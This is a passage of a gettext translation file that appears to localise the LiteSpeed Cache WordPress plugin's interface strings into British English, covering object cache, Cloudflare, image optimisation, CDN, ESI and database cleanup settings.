msgstr "Object cache is not enabled."

#: tpl/cache/settings_inc.object.tpl.php:262
msgid "Improve wp-admin speed through caching. (May encounter expired data)"
msgstr "Improve wp-admin speed through caching. (May encounter expired data)"

#: src/lang.cls.php:122
msgid "Persistent Connection"
msgstr "Persistent Connection"

#: src/lang.cls.php:121
msgid "Do Not Cache Groups"
msgstr "Do Not Cache Groups"

#: tpl/cache/settings_inc.object.tpl.php:222
msgid "Groups cached at the network level."
msgstr "Groups cached at the network level."

#: src/lang.cls.php:120
msgid "Global Groups"
msgstr "Global Groups"

#: tpl/cache/settings_inc.object.tpl.php:71
msgid "Connection Test"
msgstr "Connection Test"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:58
#: tpl/cache/settings_inc.object.tpl.php:66
msgid "%s Extension"
msgstr "%s Extension"

#: tpl/cache/settings_inc.object.tpl.php:52 tpl/crawler/blacklist.tpl.php:42
#: tpl/crawler/summary.tpl.php:153
msgid "Status"
msgstr "Status"

#: tpl/cache/settings_inc.object.tpl.php:164
msgid "Default TTL for cached objects."
msgstr "Default TTL for cached objects."

#: src/lang.cls.php:116
msgid "Default Object Lifetime"
msgstr "Default Object Lifetime"

#: src/lang.cls.php:115
msgid "Port"
msgstr "Port"

#: src/lang.cls.php:114
msgid "Host"
msgstr "Host"

#: src/gui.cls.php:589 src/gui.cls.php:771 src/lang.cls.php:112
#: tpl/dash/dashboard.tpl.php:60 tpl/dash/dashboard.tpl.php:603
#: tpl/toolbox/purge.tpl.php:55
msgid "Object Cache"
msgstr "Object Cache"

#: tpl/cache/settings_inc.object.tpl.php:28
msgid "Failed"
msgstr "Failed"

#: tpl/cache/settings_inc.object.tpl.php:25
msgid "Passed"
msgstr "Passed"

#: tpl/cache/settings_inc.object.tpl.php:23
msgid "Not Available"
msgstr "Not Available"

#: tpl/toolbox/purge.tpl.php:56
msgid "Purge all the object caches"
msgstr "Purge all the object caches"

#: src/cdn/cloudflare.cls.php:275 src/cdn/cloudflare.cls.php:297
msgid "Failed to communicate with Cloudflare"
msgstr "Failed to communicate with Cloudflare"

#: src/cdn/cloudflare.cls.php:288
msgid "Communicated with Cloudflare successfully."
msgstr "Communicated with Cloudflare successfully."

#: src/cdn/cloudflare.cls.php:181
msgid "No available Cloudflare zone"
msgstr "No available Cloudflare zone"

#: src/cdn/cloudflare.cls.php:167
msgid "Notified Cloudflare to purge all successfully."
msgstr "Notified Cloudflare to purge all successfully."

#: src/cdn/cloudflare.cls.php:151
msgid "Cloudflare API is set to off."
msgstr "Cloudflare API is set to off."

#: src/cdn/cloudflare.cls.php:121
msgid "Notified Cloudflare to set development mode to %s successfully."
msgstr "Notified Cloudflare to set development mode to %s successfully."

#: tpl/cdn/cf.tpl.php:60
msgid "Once saved, it will be matched with the current list and completed automatically."
msgstr "Once saved, it will be matched with the current list and completed automatically."

#: tpl/cdn/cf.tpl.php:59
msgid "You can just type part of the domain."
msgstr "You can just type part of the domain."

#: tpl/cdn/cf.tpl.php:52
msgid "Domain"
msgstr "Domain"

#: src/lang.cls.php:246
msgid "Cloudflare API"
msgstr "Cloudflare API"

#: tpl/cdn/cf.tpl.php:162
msgid "Purge Everything"
msgstr "Purge Everything"

#: tpl/cdn/cf.tpl.php:156
msgid "Cloudflare Cache"
msgstr "Cloudflare Cache"

#: tpl/cdn/cf.tpl.php:151
msgid "Development Mode will be turned off automatically after three hours."
msgstr "Development Mode will be turned off automatically after three hours."

#: tpl/cdn/cf.tpl.php:149
msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."
msgstr "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."

#: tpl/cdn/cf.tpl.php:141
msgid "Development mode will be automatically turned off in %s."
msgstr "Development mode will be automatically turned off in %s."

#: tpl/cdn/cf.tpl.php:137
msgid "Current status is %s."
msgstr "Current status is %s."

#: tpl/cdn/cf.tpl.php:129
msgid "Current status is %1$s since %2$s."
msgstr "Current status is %1$s since %2$s."

#: tpl/cdn/cf.tpl.php:119
msgid "Check Status"
msgstr "Check Status"

#: tpl/cdn/cf.tpl.php:116
msgid "Turn OFF"
msgstr "Turn OFF"

#: tpl/cdn/cf.tpl.php:113
msgid "Turn ON"
msgstr "Turn ON"

#: tpl/cdn/cf.tpl.php:111
msgid "Development Mode"
msgstr "Development Mode"

#: tpl/cdn/cf.tpl.php:108
msgid "Cloudflare Zone"
msgstr "Cloudflare Zone"

#: tpl/cdn/cf.tpl.php:107
msgid "Cloudflare Domain"
msgstr "Cloudflare Domain"

#: src/gui.cls.php:579 src/gui.cls.php:761 tpl/cdn/cf.tpl.php:96
#: tpl/cdn/entry.tpl.php:15
msgid "Cloudflare"
msgstr "Cloudflare"

#: tpl/page_optm/settings_html.tpl.php:45
#: tpl/page_optm/settings_html.tpl.php:76
msgid "For example"
msgstr "For example"

#: tpl/page_optm/settings_html.tpl.php:44
msgid "Prefetching DNS can reduce latency for visitors."
msgstr "Prefetching DNS can reduce latency for visitors."

#: src/lang.cls.php:158
msgid "DNS Prefetch"
msgstr "DNS Prefetch"

#: tpl/page_optm/settings_media.tpl.php:45
msgid "Adding Style to Your Lazy-Loaded Images"
msgstr "Adding Style to Your Lazy-Loaded Images"

#: src/admin-display.cls.php:1353 src/admin-display.cls.php:1372
#: tpl/cdn/other.tpl.php:108
msgid "Default value"
msgstr "Default value"

#: tpl/cdn/other.tpl.php:100
msgid "Static file type links to be replaced by CDN links."
msgstr "Static file type links to be replaced by CDN links."

#: src/lang.cls.php:110
msgid "Drop Query String"
msgstr "Drop Query String"

#: tpl/cache/settings-advanced.tpl.php:57
msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."
msgstr "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."

#: src/lang.cls.php:222
msgid "Improve HTTP/HTTPS Compatibility"
msgstr "Improve HTTP/HTTPS Compatibility"

#: tpl/img_optm/summary.tpl.php:382
msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files."
msgstr "Remove all previous image optimisation requests/results, revert completed optimisations, and delete all optimisation files."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:378
msgid "Destroy All Optimization Data"
msgstr "Destroy All Optimisation Data"

#: tpl/img_optm/summary.tpl.php:304
msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests."
msgstr "Scan for any new unoptimised image thumbnail sizes and resend necessary image optimisation requests."

#: tpl/img_optm/settings.tpl.php:121
msgid "This will increase the size of optimized files."
msgstr "This will increase the size of optimised files."

#: tpl/img_optm/settings.tpl.php:120
msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing."
msgstr "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimising."

#: tpl/toolbox/log_viewer.tpl.php:46 tpl/toolbox/log_viewer.tpl.php:75
msgid "Clear Logs"
msgstr "Clear Logs"

#: thirdparty/woocommerce.content.tpl.php:25
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr "To test the basket, visit the <a %s>FAQ</a>."

#: src/utility.cls.php:231
msgid " %s ago"
msgstr " %s ago"

#: src/media.cls.php:426
msgid "WebP saved %s"
msgstr "WebP saved %s"

#: tpl/toolbox/report.tpl.php:68
msgid "If you run into any issues, please refer to the report number in your support message."
msgstr "If you run into any issues, please refer to the report number in your support message."

#: tpl/img_optm/summary.tpl.php:156
msgid "Last pull initiated by cron at %s."
msgstr "Last pull initiated by cron at %s."

#: tpl/img_optm/summary.tpl.php:93
msgid "Images will be pulled automatically if the cron job is running."
msgstr "Images will be pulled automatically if the cron job is running."

#: tpl/img_optm/summary.tpl.php:93
msgid "Only press the button if the pull cron job is disabled."
msgstr "Only press the button if the pull cron job is disabled."

#: tpl/img_optm/summary.tpl.php:102
msgid "Pull Images"
msgstr "Pull Images"

#: tpl/img_optm/summary.tpl.php:142
msgid "This process is automatic."
msgstr "This process is automatic."

#: tpl/dash/dashboard.tpl.php:568 tpl/img_optm/summary.tpl.php:322
msgid "Last Request"
msgstr "Last Request"

#: tpl/dash/dashboard.tpl.php:545 tpl/img_optm/summary.tpl.php:319
msgid "Images Pulled"
msgstr "Images Pulled"

#: tpl/toolbox/entry.tpl.php:29
msgid "Report"
msgstr "Report"

#: tpl/toolbox/report.tpl.php:139
msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."
msgstr "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."

#: tpl/toolbox/report.tpl.php:38
msgid "Send to LiteSpeed"
msgstr "Send to LiteSpeed"

#: src/media.cls.php:304
msgid "LiteSpeed Optimization"
msgstr "LiteSpeed Optimisation"

#: src/lang.cls.php:165
msgid "Load Google Fonts Asynchronously"
msgstr "Load Google Fonts Asynchronously"

#: src/lang.cls.php:97
msgid "Browser Cache TTL"
msgstr "Browser Cache TTL"

#: src/doc.cls.php:87 src/doc.cls.php:139 tpl/dash/dashboard.tpl.php:186
#: tpl/dash/dashboard.tpl.php:845 tpl/general/online.tpl.php:81
#: tpl/general/online.tpl.php:93 tpl/general/online.tpl.php:109
#: tpl/general/online.tpl.php:114 tpl/img_optm/summary.tpl.php:59
#: tpl/inc/check_cache_disabled.php:46 tpl/page_optm/settings_media.tpl.php:301
msgid "Learn More"
msgstr "Learn More"

#: src/lang.cls.php:28
msgid "Images optimized and pulled"
msgstr "Images optimised and pulled"

#: src/lang.cls.php:26 tpl/dash/dashboard.tpl.php:551
msgid "Images requested"
msgstr "Images requested"

#: src/img-optm.cls.php:1989 src/img-optm.cls.php:2049
msgid "Switched to optimized file successfully."
msgstr "Switched to optimised file successfully."

#: src/img-optm.cls.php:2043
msgid "Restored original file successfully."
msgstr "Restored original file successfully."

#: src/img-optm.cls.php:2013
msgid "Enabled WebP file successfully."
msgstr "Enabled WebP file successfully."

#: src/img-optm.cls.php:2008
msgid "Disabled WebP file successfully."
msgstr "Disabled WebP file successfully."

#: tpl/img_optm/settings.media_webp.tpl.php:26
msgid "Significantly improve load time by replacing images with their optimized %s versions."
msgstr "Significantly improve load time by replacing images with their optimised %s versions."

#: tpl/cache/settings-excludes.tpl.php:135
msgid "Selected roles will be excluded from cache."
msgstr "Selected roles will be excluded from cache."

#: tpl/general/entry.tpl.php:18 tpl/page_optm/entry.tpl.php:23
#: tpl/page_optm/entry.tpl.php:24
msgid "Tuning"
msgstr "Tuning"

#: tpl/page_optm/settings_tuning.tpl.php:156
msgid "Selected roles will be excluded from all optimizations."
msgstr "Selected roles will be excluded from all optimisations."

#: src/lang.cls.php:177
msgid "Role Excludes"
msgstr "Role Excludes"

#: tpl/general/settings_tuning.tpl.php:19
#: tpl/page_optm/settings_tuning.tpl.php:29
msgid "Tuning Settings"
msgstr "Tuning Settings"

#: tpl/cache/settings-excludes.tpl.php:106
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr "If the tag slug is not found, the tag will be removed from the list on save."

#: tpl/cache/settings-excludes.tpl.php:73
msgid "If the category name is not found, the category will be removed from the list on save."
msgstr "If the category name is not found, the category will be removed from the list on save."

#: tpl/img_optm/summary.tpl.php:141
msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images."
msgstr "After the QUIC.cloud Image Optimisation server finishes optimisation, it will notify your site to pull the optimised images."

#: tpl/dash/dashboard.tpl.php:536 tpl/img_optm/summary.tpl.php:76
#: tpl/img_optm/summary.tpl.php:89
msgid "Send Optimization Request"
msgstr "Send Optimisation Request"

#: tpl/img_optm/summary.tpl.php:276
msgid "Image Information"
msgstr "Image Information"

#: tpl/dash/dashboard.tpl.php:542 tpl/img_optm/summary.tpl.php:316
msgid "Total Reduction"
msgstr "Total Reduction"

#: tpl/img_optm/summary.tpl.php:313
msgid "Optimization Summary"
msgstr "Optimisation Summary"

#: tpl/img_optm/entry.tpl.php:30
msgid "LiteSpeed Cache Image Optimization"
msgstr "LiteSpeed Cache Image Optimisation"

#: src/admin-display.cls.php:256 src/gui.cls.php:727
#: tpl/dash/dashboard.tpl.php:203 tpl/dash/network_dash.tpl.php:36
#: tpl/general/online.tpl.php:75 tpl/general/online.tpl.php:134
#: tpl/general/online.tpl.php:149 tpl/presets/standard.tpl.php:32
msgid "Image Optimization"
msgstr "Image Optimisation"

#: tpl/page_optm/settings_media.tpl.php:62
msgid "For example, %s can be used for a transparent placeholder."
msgstr "For example, %s can be used for a transparent placeholder."

#: tpl/page_optm/settings_media.tpl.php:61
msgid "By default a gray image placeholder %s will be used."
msgstr "By default a grey image placeholder %s will be used."

#: tpl/page_optm/settings_media.tpl.php:60
msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."
msgstr "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."

#: tpl/page_optm/settings_media.tpl.php:59
msgid "Specify a base64 image to be used as a simple placeholder while images finish loading."
msgstr "Specify a base64 image to be used as a simple placeholder while images finish loading."

#: tpl/page_optm/settings_media_exc.tpl.php:38
#: tpl/page_optm/settings_tuning.tpl.php:70
#: tpl/page_optm/settings_tuning.tpl.php:91
#: tpl/page_optm/settings_tuning.tpl.php:112
#: tpl/page_optm/settings_tuning_css.tpl.php:37
msgid "Elements with attribute %s in html code will be excluded."
msgstr "Elements with attribute %s in HTML code will be excluded."

#: tpl/cache/settings-esi.tpl.php:104
#: tpl/page_optm/settings_media_exc.tpl.php:37
#: tpl/page_optm/settings_tuning.tpl.php:49
#: tpl/page_optm/settings_tuning.tpl.php:69
#: tpl/page_optm/settings_tuning.tpl.php:90
#: tpl/page_optm/settings_tuning.tpl.php:111
#: tpl/page_optm/settings_tuning.tpl.php:130
#: tpl/page_optm/settings_tuning_css.tpl.php:36
#: tpl/page_optm/settings_tuning_css.tpl.php:97
msgid "Filter %s is supported."
msgstr "Filter %s is supported."

#: tpl/page_optm/settings_media_exc.tpl.php:31
msgid "Listed images will not be lazy loaded."
msgstr "Listed images will not be lazy loaded."

#: src/lang.cls.php:184
msgid "Lazy Load Image Excludes"
msgstr "Lazy Load Image Excludes"

#: src/gui.cls.php:539
msgid "No optimization"
msgstr "No optimisation"

#: tpl/page_optm/settings_tuning.tpl.php:126
msgid "Prevent any optimization of listed pages."
msgstr "Prevent any optimisation of listed pages."

#: src/lang.cls.php:175
msgid "URI Excludes"
msgstr "URI Excludes"

#: tpl/page_optm/settings_html.tpl.php:174
msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."
msgstr "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."

#: src/doc.cls.php:125
msgid "Both full URLs and partial strings can be used."
msgstr "Both full URLs and partial strings can be used."

#: tpl/page_optm/settings_media.tpl.php:234
msgid "Load iframes only when they enter the viewport."
msgstr "Load iframes only when they enter the viewport."

#: src/lang.cls.php:200
msgid "Lazy Load Iframes"
msgstr "Lazy Load Iframes"

#: tpl/page_optm/settings_media.tpl.php:41
#: tpl/page_optm/settings_media.tpl.php:235
msgid "This can improve page loading time by reducing initial HTTP requests."
msgstr "This can improve page loading time by reducing initial HTTP requests."

#: tpl/page_optm/settings_media.tpl.php:40
msgid "Load images only when they enter the viewport."
msgstr "Load images only when they enter the viewport."

#: src/lang.cls.php:183
msgid "Lazy Load Images"
msgstr "Lazy Load Images"

#: tpl/page_optm/entry.tpl.php:19 tpl/page_optm/settings_media.tpl.php:26
msgid "Media Settings"
msgstr "Media Settings"

#: tpl/cache/settings-esi.tpl.php:113 tpl/cache/settings-purge.tpl.php:111
#: tpl/cdn/other.tpl.php:169
msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."
msgstr "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."

#. translators: %s: caret symbol
#: src/admin-display.cls.php:1538
msgid "To match the beginning, add %s to the beginning of the item."
msgstr "To match the beginning, add %s to the beginning of the item."

#: tpl/banner/score.php:117
msgid "Maybe later"
msgstr "Maybe later"

#: tpl/banner/score.php:116
msgid "I've already left a review"
msgstr "I've already left a review"

#: tpl/banner/slack.php:20
msgid "Welcome to LiteSpeed"
msgstr "Welcome to LiteSpeed"

#: src/lang.cls.php:173 tpl/presets/standard.tpl.php:51
msgid "Remove WordPress Emoji"
msgstr "Remove WordPress Emoji"

#: src/gui.cls.php:547
msgid "More settings"
msgstr "More settings"

#: src/gui.cls.php:528
msgid "Private cache"
msgstr "Private cache"

#: src/gui.cls.php:517
msgid "Non cacheable"
msgstr "Non cacheable"

#: src/gui.cls.php:494
msgid "Mark this page as "
msgstr "Mark this page as "

#: src/gui.cls.php:470 src/gui.cls.php:485
msgid "Purge this page"
msgstr "Purge this page"

#: src/lang.cls.php:155
msgid "Load JS Deferred"
msgstr "Load JS Deferred"

#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Specify critical CSS rules for above-the-fold content when enabling %s."
msgstr "Specify critical CSS rules for above-the-fold content when enabling %s."

#: src/lang.cls.php:167
msgid "Critical CSS Rules"
msgstr "Critical CSS Rules"

#: src/lang.cls.php:151 tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Load CSS Asynchronously"
msgstr "Load CSS Asynchronously"

#: tpl/page_optm/settings_html.tpl.php:161
msgid "Prevent Google Fonts from loading on all pages."
msgstr "Prevent Google Fonts from loading on all pages."

#: src/lang.cls.php:166
msgid "Remove Google Fonts"
msgstr "Remove Google Fonts"

#: tpl/page_optm/settings_css.tpl.php:216
#: tpl/page_optm/settings_html.tpl.php:175 tpl/page_optm/settings_js.tpl.php:81
msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."
msgstr "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."

#: tpl/page_optm/settings_html.tpl.php:123
msgid "Remove query strings from internal static resources."
msgstr "Remove query strings from internal static resources."

#: src/lang.cls.php:164
msgid "Remove Query Strings"
msgstr "Remove Query Strings"

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:28
msgid "user agents"
msgstr "user agents"

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:28
msgid "cookies"
msgstr "cookies"

#: tpl/cache/settings_inc.browser.tpl.php:41
msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."
msgstr "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."

#: src/lang.cls.php:90 tpl/dash/dashboard.tpl.php:61
#: tpl/dash/dashboard.tpl.php:604 tpl/presets/standard.tpl.php:21
msgid "Browser Cache"
msgstr "Browser Cache"

#: tpl/cache/settings-excludes.tpl.php:100
msgid "tags"
msgstr "tags"

#: src/lang.cls.php:135
msgid "Do Not Cache Tags"
msgstr "Do Not Cache Tags"

#: tpl/cache/settings-excludes.tpl.php:110
msgid "To exclude %1$s, insert %2$s."
msgstr "To exclude %1$s, insert %2$s."

#: tpl/cache/settings-excludes.tpl.php:67
msgid "categories"
msgstr "categories"

#. translators: %s: "cookies"
#. translators: %s: "user agents"
#: tpl/cache/settings-excludes.tpl.php:67
#: tpl/cache/settings-excludes.tpl.php:100
#: tpl/cache/settings_inc.exclude_cookies.tpl.php:27
#: tpl/cache/settings_inc.exclude_useragent.tpl.php:27
msgid "To prevent %s from being cached, enter them here."
msgstr "To prevent %s from being cached, enter them here."

#: src/lang.cls.php:134
msgid "Do Not Cache Categories"
msgstr "Do Not Cache Categories"

#: tpl/cache/settings-excludes.tpl.php:45
msgid "Query strings containing these parameters will not be cached."
msgstr "Query strings containing these parameters will not be cached."

#: src/lang.cls.php:133
msgid "Do Not Cache Query Strings"
msgstr "Do Not Cache Query Strings"

#: tpl/cache/settings-excludes.tpl.php:30
msgid "Paths containing these strings will not be cached."
msgstr "Paths containing these strings will not be cached."

#: src/lang.cls.php:132
msgid "Do Not Cache URIs"
msgstr "Do Not Cache URIs"

#: src/admin-display.cls.php:1541 src/doc.cls.php:108
msgid "One per line."
msgstr "One per line."

#: tpl/cache/settings-cache.tpl.php:119
msgid "URI Paths containing these strings will NOT be cached as public."
msgstr "URI Paths containing these strings will NOT be cached as public."

#: src/lang.cls.php:109
msgid "Private Cached URIs"
msgstr "Private Cached URIs"

#: tpl/cdn/other.tpl.php:210
msgid "Paths containing these strings will not be served from the CDN."
msgstr "Paths containing these strings will not be served from the CDN."

#: src/lang.cls.php:245
msgid "Exclude Path"
msgstr "Exclude Path"

#: src/lang.cls.php:241 tpl/cdn/other.tpl.php:113
msgid "Include File Types"
msgstr "Include File Types"

#: tpl/cdn/other.tpl.php:97
msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."
msgstr "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."

#: src/lang.cls.php:240
msgid "Include JS"
msgstr "Include JS"

#: tpl/cdn/other.tpl.php:94
msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."
msgstr "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."

#: src/lang.cls.php:239
msgid "Include CSS"
msgstr "Include CSS"

#: src/lang.cls.php:238
msgid "Include Images"
msgstr "Include Images"

#: src/admin-display.cls.php:472
msgid "CDN URL to be used. For example, %s"
msgstr "CDN URL to be used. For example, %s"

#: src/lang.cls.php:237
msgid "CDN URL"
msgstr "CDN URL"

#: tpl/cdn/other.tpl.php:161
msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."
msgstr "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."

#: src/lang.cls.php:243
msgid "Original URLs"
msgstr "Original URLs"

#: tpl/cdn/other.tpl.php:28
msgid "CDN Settings"
msgstr "CDN Settings"

#: src/admin-display.cls.php:255
msgid "CDN"
msgstr "CDN"

#: src/admin-display.cls.php:477 src/admin-display.cls.php:1158
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.object.tpl.php:280 tpl/cdn/other.tpl.php:53
#: tpl/dash/dashboard.tpl.php:69 tpl/dash/dashboard.tpl.php:461
#: tpl/dash/dashboard.tpl.php:583 tpl/dash/dashboard.tpl.php:612
#: tpl/img_optm/settings.media_webp.tpl.php:22
#: tpl/page_optm/settings_css.tpl.php:93 tpl/page_optm/settings_js.tpl.php:77
#: tpl/page_optm/settings_media.tpl.php:180
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "OFF"
msgstr "OFF"

#: src/admin-display.cls.php:476 src/admin-display.cls.php:1157
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: src/doc.cls.php:39 tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.cache_mobile.tpl.php:91 tpl/cdn/other.tpl.php:45
#: tpl/crawler/settings.tpl.php:138 tpl/dash/dashboard.tpl.php:67
#: tpl/dash/dashboard.tpl.php:459 tpl/dash/dashboard.tpl.php:581
#: tpl/dash/dashboard.tpl.php:610 tpl/page_optm/settings_css.tpl.php:220
#: tpl/page_optm/settings_media.tpl.php:176
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "ON"
msgstr "ON"

#: src/purge.cls.php:379
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr "Notified LiteSpeed Web Server to purge CSS/JS entries."

#: tpl/page_optm/settings_html.tpl.php:31
msgid "Minify HTML content."
msgstr "Minify HTML content."

#: src/lang.cls.php:148
msgid "HTML Minify"
msgstr "HTML Minify"

#: src/lang.cls.php:163
msgid "JS Excludes"
msgstr "JS Excludes"

#: src/lang.cls.php:146
msgid "JS Combine"
msgstr "JS Combine"

#: src/lang.cls.php:145
msgid "JS Minify"
msgstr "JS Minify"

#: src/lang.cls.php:161
msgid "CSS Excludes"
msgstr "CSS Excludes"

#: src/lang.cls.php:138
msgid "CSS Combine"
msgstr "CSS Combine"

#: src/lang.cls.php:137
msgid "CSS Minify"
msgstr "CSS Minify"

#: tpl/page_optm/entry.tpl.php:43
msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."
msgstr "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."

#: tpl/toolbox/purge.tpl.php:48
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr "This will purge all minified/combined CSS/JS entries only"

#: tpl/toolbox/purge.tpl.php:32
msgid "Purge %s Error"
msgstr "Purge %s Error"

#: tpl/db_optm/manage.tpl.php:90
msgid "Database Optimizer"
msgstr "Database Optimiser"

#: tpl/db_optm/manage.tpl.php:58
msgid "Optimize all tables in your database"
msgstr "Optimise all tables in your database"

#: tpl/db_optm/manage.tpl.php:57
msgid "Optimize Tables"
msgstr "Optimise Tables"

#: tpl/db_optm/manage.tpl.php:54
msgid "Clean all transient options"
msgstr "Clean all transient options"

#: tpl/db_optm/manage.tpl.php:53
msgid "All Transients"
msgstr "All Transients"

#: tpl/db_optm/manage.tpl.php:50
msgid "Clean expired transient options"
msgstr "Clean expired transient options"

#: tpl/db_optm/manage.tpl.php:49
msgid "Expired Transients"
msgstr "Expired Transients"

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all trackbacks and pingbacks"
msgstr "Clean all trackbacks and pingbacks"

#: tpl/db_optm/manage.tpl.php:45
msgid "Trackbacks/Pingbacks"
msgstr "Trackbacks/Pingbacks"

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean all trashed comments"
msgstr "Clean all binned comments"

#: tpl/db_optm/manage.tpl.php:41
msgid "Trashed Comments"
msgstr "Binned comments"

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all spam comments"
msgstr "Clean all spam comments"

#: tpl/db_optm/manage.tpl.php:37
msgid "Spam Comments"
msgstr "Spam Comments"

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed posts and pages"
msgstr "Clean all binned posts and pages"

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Posts"
msgstr "Binned Posts"

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all auto saved drafts"
msgstr "Clean all auto saved drafts"

#: tpl/db_optm/manage.tpl.php:29
msgid "Auto Drafts"
msgstr "Auto Drafts"

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all post revisions"
msgstr "Clean all post revisions"

#: tpl/db_optm/manage.tpl.php:21
msgid "Post Revisions"
msgstr "Post Revisions"

#: tpl/db_optm/manage.tpl.php:17
msgid "Clean All"
msgstr "Clean All"

#: src/db-optm.cls.php:241
msgid "Optimized all tables."
msgstr "Optimised all tables."

#: src/db-optm.cls.php:231
msgid "Clean all transients successfully."
msgstr "Clean all transients successfully."

#: src/db-optm.cls.php:227
msgid "Clean expired transients successfully."
msgstr "Clean expired transients successfully."

#: src/db-optm.cls.php:223
msgid "Clean trackbacks and pingbacks successfully."
msgstr "Clean trackbacks and pingbacks successfully."

#: src/db-optm.cls.php:219
msgid "Clean trashed comments successfully."
msgstr "Clean binned comments successfully."

#: src/db-optm.cls.php:215
msgid "Clean spam comments successfully."
msgstr "Clean spam comments successfully."

#: src/db-optm.cls.php:211
msgid "Clean trashed posts and pages successfully."
msgstr "Clean binned posts and pages successfully."

#: src/db-optm.cls.php:207
msgid "Clean auto drafts successfully."
msgstr "Clean auto drafts successfully."

#: src/db-optm.cls.php:199
msgid "Clean post revisions successfully."
msgstr "Clean post revisions successfully."

#: src/db-optm.cls.php:142
msgid "Clean all successfully."
msgstr "Clean all successfully."

#: src/lang.cls.php:92
msgid "Default Private Cache TTL"
msgstr "Default Private Cache TTL"

#: tpl/cache/settings-esi.tpl.php:141
msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."
msgstr "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."

#: src/lang.cls.php:220 tpl/page_optm/settings_css.tpl.php:140
#: tpl/page_optm/settings_css.tpl.php:277 tpl/page_optm/settings_vpi.tpl.php:88
msgid "Vary Group"
msgstr "Vary Group"

#: tpl/cache/settings-esi.tpl.php:85
msgid "Cache the built-in Comment Form ESI block."
msgstr "Cache the built-in Comment Form ESI block."

#: src/lang.cls.php:218
msgid "Cache Comment Form"
msgstr "Cache Comment Form"

#: src/lang.cls.php:217
msgid "Cache Admin Bar"
msgstr "Cache Admin Bar"

#: tpl/cache/settings-esi.tpl.php:59
msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."
msgstr "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."

#: tpl/cache/settings-esi.tpl.php:21
msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."
msgstr "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."

#: tpl/cache/settings-esi.tpl.php:20
msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."
msgstr "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."

#: tpl/esi_widget_edit.php:53
msgid "Private"
msgstr "Private"

#: tpl/esi_widget_edit.php:52
msgid "Public"
msgstr "Public"

#: tpl/cache/network_settings-purge.tpl.php:17
#: tpl/cache/settings-purge.tpl.php:15
msgid "Purge Settings"
msgstr "Purge Settings"

#: src/lang.cls.php:107 tpl/cache/settings_inc.cache_mobile.tpl.php:90
msgid "Cache Mobile"
msgstr "Cache Mobile"

#: tpl/toolbox/settings-debug.tpl.php:119
msgid "Advanced level will log more details."
